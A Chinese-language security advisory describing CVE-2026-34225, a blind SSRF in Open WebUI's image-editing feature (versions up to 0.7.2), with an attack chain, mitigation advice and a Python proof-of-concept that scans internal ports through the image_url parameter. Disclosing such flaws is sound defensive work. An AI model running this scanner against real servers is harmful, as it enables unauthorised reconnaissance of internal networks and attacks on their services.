IPBUF安全漏洞报告
English
CVE-2026-34225 CVSS 4.3 中危

CVE-2026-34225 Open WebUI 盲SSRF漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-34225
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

SSRFOpen WebUIBlind SSRF内网扫描CVE-2026-34225

漏洞概述

Open WebUI是一个可离线运行的自托管人工智能平台。其0.7.2及以下版本在通过提示词编辑图片的功能中存在盲SSRF漏洞。该漏洞允许攻击者诱导服务器向用户指定的URL发起GET请求,且未对域名进行限制。由于是盲注,攻击者无法读取响应,但可通过请求成功与否探测内网端口,进而可能利用支持状态变更的GET端点与内网服务交互。

技术细节

该漏洞源于Open WebUI在处理图片编辑请求时的逻辑缺陷。受影响的功能允许用户输入URL,服务器随后会向该URL发起HTTP GET请求以获取图片。由于服务器端未对目标地址进行有效的校验或过滤(如未检查内网IP段、localhost等),攻击者可构造恶意请求指向内网资源。虽然该SSRF是盲型的,意味着攻击者无法直接获取服务器响应的正文内容,但攻击者可以通过观察HTTP状态码或响应时间的差异来判断目标端口是否开放。通过自动化脚本遍历常见端口,攻击者可以绘制内网拓扑图。此外,如果内网服务在开放端口上提供了通过GET请求即可触发的敏感操作(如重启、配置修改等),攻击者可利用此漏洞进一步实施攻击。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标运行的是Open WebUI 0.7.2或更低版本。
STEP 2
2. 发送恶意请求
攻击者利用图片编辑功能,在image_url参数中填入内网地址(如http://127.0.0.1:22)。
STEP 3
3. 端口扫描
根据服务器返回的HTTP状态码或响应时间差异,判断目标内网端口是否开放。
STEP 4
4. 进一步利用
如果发现开放端口且服务支持GET请求进行状态变更,攻击者尝试与内网服务交互。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # Target configuration target_url = "http://localhost:3000/api/v1/edit/image" # Replace with actual endpoint base_internal_ip = "http://127.0.0.1" def check_port(port): # Craft the payload with the internal IP and port payload_url = f"{base_internal_ip}:{port}" # Data structure based on typical image edit requests data = { "prompt": "edit this image", "image_url": payload_url } start_time = time.time() try: # Send request to the vulnerable Open WebUI instance response = requests.post(target_url, json=data, timeout=5) elapsed_time = time.time() - start_time # Logic to determine if port is open based on response differential # In blind SSRF, we look for status codes or timing differences if response.status_code == 200 or response.status_code == 500: print(f"[+] Port {port} might be OPEN (Status: {response.status_code}, Time: {elapsed_time:.2f}s)") else: print(f"[-] Port {port} seems CLOSED (Status: {response.status_code})") except requests.exceptions.Timeout: print(f"[+] Port {port} might be OPEN (Timeout triggered)") except Exception as e: print(f"[-] Error checking port {port}: {e}") # Example: Scanning common ports if __name__ == "__main__": ports_to_scan = [22, 80, 443, 3306, 6379, 8080] print(f"Starting Blind SSRF scan against {target_url}...") for port in ports_to_scan: check_port(port)

影响范围

Open WebUI <= 0.7.2

防御指南

临时缓解措施
建议立即限制Open WebUI服务器的出站网络访问权限,特别是禁止访问本地回环地址和私有网络地址段。如果不需要图片编辑功能,可暂时禁用该功能以降低风险。请密切关注官方安全公告并及时安装补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表